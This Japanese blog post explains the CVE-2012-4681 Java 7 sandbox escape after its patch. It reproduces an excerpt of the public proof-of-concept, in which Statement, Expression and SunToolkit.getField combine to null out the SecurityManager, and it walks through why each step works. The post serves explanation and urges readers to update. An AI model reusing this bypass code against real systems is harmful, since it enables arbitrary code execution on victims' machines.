読者です 読者をやめる 読者になる 読者になる

( ꒪⌓꒪) ゆるよろ日記

( ゚∀゚)o彡°オパーイ!オパーイ! ( ;゚皿゚)ノシΣ フィンギィィーーッ!!!

「CVE-2012-4681:Oracle Java7 任意のOSコマンドが実行可能な脆弱性」の攻撃手法解説

Ocacle Java7で任意のOSコマンドを実行可能な脆弱性がある、と話題になりました。
JVNTA12-240A: Oracle Java 7 に脆弱性


本日パッチがリリースされました。

Oracle、Javaの深刻な脆弱性を公表―攻撃者はリモートであらゆる操作が可能〔今朝パッチ緊急リリース〕
Alert for CVE-2012-4681


PoCコードも公開されています。この脆弱性を突く攻撃はどのようなものか興味があったので、調べてみました。
調査結果は、今週に行われた8月29日 JJUG Night Seminar ~ Java VM&LT&納涼会 ~(東京都) で話してきたのですが、パッチも出たことだしブログにも書いてみようと思います。

Javaのセキュリティモデルについて

Javaのセキュリティは、サンドボックスモデルによって確保されています。サンドボックスは、JVM上で実行されるバイトコードに対して、セキュリティポリシーで設定された権限以外の操作を制限するものです。例えば、JavaAppletはローカルのファイルにアクセスしたり、異なるドメインへの通信を行うことができませんが、これはサンドボックスによってガードされているからです。


JDK でのアクセス権


今回の脆弱性は、このサンドボックスを破壊することで、Appletなどのサンドボックス内のバイトコードサンドボックス自体を破壊して、セキュリティポリシーで権限を与えられていない任意の操作が実行可能になってしまうものです。

攻撃の概要

サンドボックスセキュリティポリシーは、java.lang.SecurityManagerによって管理されています。SecurityManagerは、JVM起動時のオプションで指定するか、java.lang.System.setSecurityManagerで明示的に設定できます。Appletは、すでにこのSecurityManagerが設定されている状態で起動します。



SecurityManager (Java Platform SE 6)


System.setSecurityManagerにnullを設定することで、サンドボックスを無効にすることができますが、setSecurityManagerの呼び出し自体が、ポリシーで守られているため、通常はAppletからこのメソッドを呼び出すことはできません。呼び出すと、SecurityExceptionがthrowされます。


この攻撃では、interanlなクラスであるsun.awt.SunToolkitを利用して、サンドボックスによるチェックを迂回してsetSecurityManagerを呼び出すことで、サンドボックスそのものを無効することで実現されます。

PoCコードの詳細

今回の攻撃のPoC(Proof of Concept)コードが公開されています。

#4594319 - Pastie


ざっくりとした攻撃の手順は、下記の通りです。

  1. SystemクラスのsetSecurityManagerにnullを渡すように定義されたjava.beans.Statementオブジェクトを用意する。
  2. sun.awt.SunToolkit.getFieldメソッドを利用して、上記のStatementオブジェクトに任意のコードが実行可能な権限を設定する
  3. Statementオブジェクトのexecuteメソッドを呼び出すことで、サンドボックスを迂回して、System.setSecurityManagerにnullを設定する


以下は、PoCコードからの抜粋です。

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }


disableSecurityメソッドでは、java.beans.Statementオブジェクトを生成します。Statementオブジェクトは、対象のオブジェクトと文字列のメソッド名と引数を設定することで、文字列で指定したメソッドを実行できます。


次に、任意のコードを実行できるようにしたProctectionDomainオブジェクトを作ります。このProctectionDomainオブジェクトを、Statementオブジェクトのaccフィールドに設定することで、Statementオブジェクトがサンドボックスを迂回できます。


通常は直接accフィールドを設定することはできません。フィールドはprivateであり、privateフィールドへのリフレクションを使ったアクセスも、セキュリティチェックの対象になるためです。リフレクションを使わずにprivateフィールドを書き換えるために、sun.awt.SunToolkitのgetFieldメソッドを利用します。この処理が、SetFieldメソッドで行われています。


sun.awt.SunToolkitのgetFieldメソッドは、セキュリティチェックをパスしたアクセス件が設定されているFieldオブジェクトを返します。ここが脆弱性のポイントその1です。


sun.awt: SunToolkit.java


SunToolkit.getFieldで取得したFieldオブジェクトで、最初に生成したStatementオブジェクトのaccフィールドを書き換えます。これで、サンドボックスを迂回してsetSecurityManagerを呼び出せるようになっているワケです。


ちなみに、"sun.*"パッケージ以下へのアクセスも、サンドボックスによってガードされていますので、'Class.forName("sun.awt.SunToolKit")'のようなコードではアクセス出来ません。これを回避してSunToolkitを利用するために、java.beans.Expressionクラスを利用します。


Expressionは、文字列で指定したプロパティを取得するためのクラスです。Class.forNameをこのExpressionクラスを経由して呼び出すことで、internalなパッケージへのアクセス制限を回避してSunToolkitクラスを取得しています。これがGetClassメソッドでの処理です。


Expression経由でClass.forNameを呼び出すことで、セキュリティポリシーで禁止されているinteranlなパッケージにアクセスできるようになっている。これが、脆弱性のポイントその2です。


このようにして、System.setSecurityManager(null)を実行することで、以降は任意の処理を実行できます。PoCコードでは、calc.exeを実行して電卓を起動してますが、ファイル読んだり書いたり本当にやりたい放題です。


この脆弱性は、Appletに限らず、サンドボックスによってセキュリティを確保している全てのアプリケーションに影響を与えます。例えば、Google App EngineやHerokuのようなJVMランタイムを提供するようなPaaSサービス(両者はOracle JVMを使っていないため、今回は影響を受けないですけど)や、セキュリティポリシーでガードされているTomcatのようなアプリケーションサーバーなど、影響範囲は広範です。


というわけで、すみやかにアップデートしましょう。取り返しのつかないことになる前に……。


f:id:yuroyoro:20120831145046j:plain